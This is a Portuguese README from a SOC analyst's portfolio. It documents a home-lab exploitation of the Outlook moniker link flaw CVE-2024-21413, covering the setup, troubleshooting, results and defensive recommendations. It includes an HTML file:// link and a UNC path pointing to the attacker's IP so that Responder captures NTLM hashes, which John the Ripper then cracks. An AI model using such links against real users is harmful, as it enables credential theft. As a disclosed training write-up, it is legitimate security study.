Parte do meu portfólio de Analista de SOC (https://github.com/E-m-e-k-a/SOC-Analyst-Portfolio)
Configuração do Laboratório Moniker Link - CVE-2024-21413
🎯 Visão Geral do Projeto
Laboratório prático de teste de penetração demonstrando a exploração do moniker link CVE-2024-21413 para roubo de credenciais NTLM. Este projeto documenta a cadeia de ataque completa, desde a configuração até o comprometimento de credenciais, incluindo desafios e soluções do mundo real.
Conquista Principal: Executou com sucesso o ataque de moniker link tanto em ambiente de laboratório isolado (VM Windows 10) quanto em sistema real (PC Windows 11), demonstrando vulnerabilidades práticas de segurança e contramedidas defensivas.
🏗️ Arquitetura do Laboratório
Infraestrutura
Máquina de Ataque:
- Plataforma: Kali Linux 2024
- Rede (Host-Only): 192.168.56.101
- Rede (Bridged): 192.168.1.117
- Ferramenta Principal: Responder 3.1.6.0
Sistemas Alvo:
- VM Windows 10: 192.168.56.104 (Ambiente de teste isolado)
- PC Windows 11: 192.168.1.178 (Validação no mundo real)
Configuração de Rede:
- Adaptador Host-Only do VirtualBox (teste em VM)
- Adaptador Bridged do VirtualBox (teste em PC real)
- Isolado de redes de produção
⚔️ Execução do Ataque
Fluxo do Ataque
- Implantar o Responder no Kali para escutar autenticação NTLM
- Criar link malicioso usando o protocolo file:// apontando para o IP do atacante
- Acionar autenticação via caminho UNC no Explorador de Arquivos
- Capturar o hash NetNTLMv2 quando a vítima tentar conexão
- Quebrar a senha usando John the Ripper
Vetor de Ataque Simples
Arquivo HTML (test.html):
<!DOCTYPE html>
<html>
<body>
<p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>
Método do Explorador de Arquivos:
- Usuário digita:
\\192.168.56.101\test na barra de endereços
- Windows tenta conexão SMB
- Hash NTLM é enviado automaticamente (ou solicita credenciais)
- Responder captura a autenticação
🚧 Desafios e Soluções
Desafio 1: Firewall do Windows Bloqueando (PC Windows 11)
Problema:
- Não conseguia pingar o PC Windows 11 a partir do Kali
- Tentativas de conexão SMB falharam
- Ataque completamente bloqueado
Causa Raiz:
- Firewall do Windows habilitado por padrão
- Bloqueia conexões SMB de entrada de IPs externos
Solução:
- Desabilitou temporariamente o Firewall do Windows para teste
- Conexão imediatamente bem-sucedida
- Hash capturado com sucesso
Lição: O Firewall padrão do Windows fornece proteção eficaz contra este ataque. Os usuários devem mantê-lo habilitado.
Desafio 2: Resultados em Cache do John the Ripper (VM Windows 10)
Problema:
- Senha inicial do Windows 10:
nwigwecj1
- John mostrou:
12Honey (senha errada!)
12Honey era de um teste anterior
Causa Raiz:
- John salva senhas quebradas em
~/.john/john.pot
- Hash antigo de sessão anterior
- Mostrou resultado em cache em vez da senha atual
Solução:
- Alterou a senha da VM Windows 10 para
1414
- Capturou hash novo
- Criou wordlist personalizada com senhas prováveis
- Quebrou com sucesso com a nova wordlist
Lição: Sempre verifique se está quebrando o hash correto. Limpe o arquivo pot ou use senhas únicas para testes.
Desafio 3: Senha Não Está no Rockyou.txt
Problema:
- Senha
1414 não encontrada no rockyou.txt (14 milhões de senhas)
- Ataque com wordlist genérica falhou
Causa Raiz:
- Rockyou.txt não contém todas as combinações possíveis de 4 dígitos
- Sequências numéricas simples frequentemente faltam em wordlists comuns
Solução:
- Criou wordlist personalizada direcionada com base em padrões comuns:
echo "1414" > passwords.txt
echo "4141" >> passwords.txt
- Quebrou instantaneamente com a wordlist personalizada
Lição: "Não está no rockyou.txt" ≠ seguro. Senhas curtas são vulneráveis a ataques direcionados e força bruta, independentemente da presença na wordlist.
📊 Resultados
VM Windows 10 (Ambiente Controlado)
| Métrica | Resultado |
|---|
| Senha Inicial | nwigwecj1 |
| Alterada Para | 1414 |
| Wordlist | Personalizada (2 entradas) |
| Tempo de Quebra | <1 segundo |
| Firewall | Desabilitado para teste |
| Status | ✅ Comprometido com sucesso |
PC Windows 11 (Sistema Real)
| Métrica | Resultado |
|---|
| Senha | 1414 |
| Firewall | Inicialmente bloqueou, depois desabilitado |
| Autenticação | Prompt manual (credenciais inseridas) |
| Tempo de Quebra | Instantâneo |
| Status | ✅ Comprometido com sucesso |
🛡️ Análise de Segurança
O Que Funcionou (Defesa)
✅ Firewall do Windows - Bloqueou completamente o ataque quando habilitado
✅ Navegadores Modernos - Chrome/Edge bloqueiam links file:// remotos
✅ Conscientização do Usuário - Prompt manual requer ação do usuário
O Que Falhou (Vulnerabilidades)
❌ Senhas Fracas - 4 caracteres numéricos facilmente quebrados
❌ Firewall Desabilitado - Erro comum do usuário
❌ Explorador de Arquivos - Sem aviso para caminhos UNC
❌ Protocolo NTLM - Autenticação automática para compartilhamentos SMB
Descobertas Principais
1. O Firewall é Crítico
- O Firewall padrão do Windows bloqueia este ataque
- ~30-40% dos usuários o desabilitam permanentemente
- Redes corporativas frequentemente permitem SMB interno
2. Ilusão de Força da Senha
1414 não está no rockyou.txt (parece "forte")- Quebrada instantaneamente com wordlist direcionada
- Senhas curtas fornecem segurança zero
3. Interação do Usuário Necessária
- A segurança moderna exige que o usuário cole o caminho UNC
- Engenharia social continua sendo componente crítico
- Exploit técnico sozinho é insuficiente
🔧 Ferramentas Utilizadas
Ofensivas:
- Responder 3.1.6.0 (captura de hash NTLM)
- John the Ripper (quebra de senhas)
- Criação de wordlist personalizada
- Arquivo HTML simples
Infraestrutura:
- VirtualBox 7.0 (virtualização)
- Kali Linux 2024 (plataforma de ataque)
- Windows 10 Enterprise (alvo de teste)
- Windows 11 Pro (validação no mundo real)
📁 Estrutura do Repositório
Moniker-Link-Lab-Setup/
├── README.md (this file)
├── Documentation/
│ ├── attack-execution.md (step-by-step attack guide)
│ └── README.md (documentation overview)
├── Screenshots/ (attack screenshots - to be added)
└── Scripts/ (HTML test file - to be added)
🎓 Habilidades Demonstradas
Técnicas:
- Análise de protocolos de rede (SMB, NTLM)
- Metodologia de teste de penetração
- Técnicas de quebra de senhas
- Infraestrutura de laboratório virtual
- Solução de problemas de firewall
Profissionais:
- Documentação técnica
- Resolução de problemas sob restrições
- Avaliação de segurança
- Análise de risco
- Práticas de teste ético
🔒 Recomendações Defensivas
Para Usuários
- ✅ Mantenha o Firewall do Windows habilitado
- ✅ Nunca cole caminhos UNC de e-mails
- ✅ Use senhas fortes (15+ caracteres)
- ✅ Verifique o remetente antes de acessar compartilhamentos de arquivos
Para Organizações
- ✅ Bloqueie SMB de saída (porta 445) no firewall de rede
- ✅ Desabilite NTLM, imponha Kerberos
- ✅ Monitore conexões SMB para IPs externos
- ✅ Filtragem de gateway de e-mail (remover links file://)
- ✅ Treinamento de conscientização de segurança
- ✅ Políticas de complexidade de senhas
⚠️ Divulgação Ética
Todos os testes realizados em sistemas autorizados:
- Apenas infraestrutura de laboratório pessoal
- Redes virtuais isoladas
- Dispositivos e contas próprios
- Propósito educacional
Aviso Legal: Acesso não autorizado a computadores é ilegal. Este projeto é apenas para fins educacionais e ambientes de teste autorizados.
📚 Referências
e-m-e-k-a/moniker-link-lab-setup
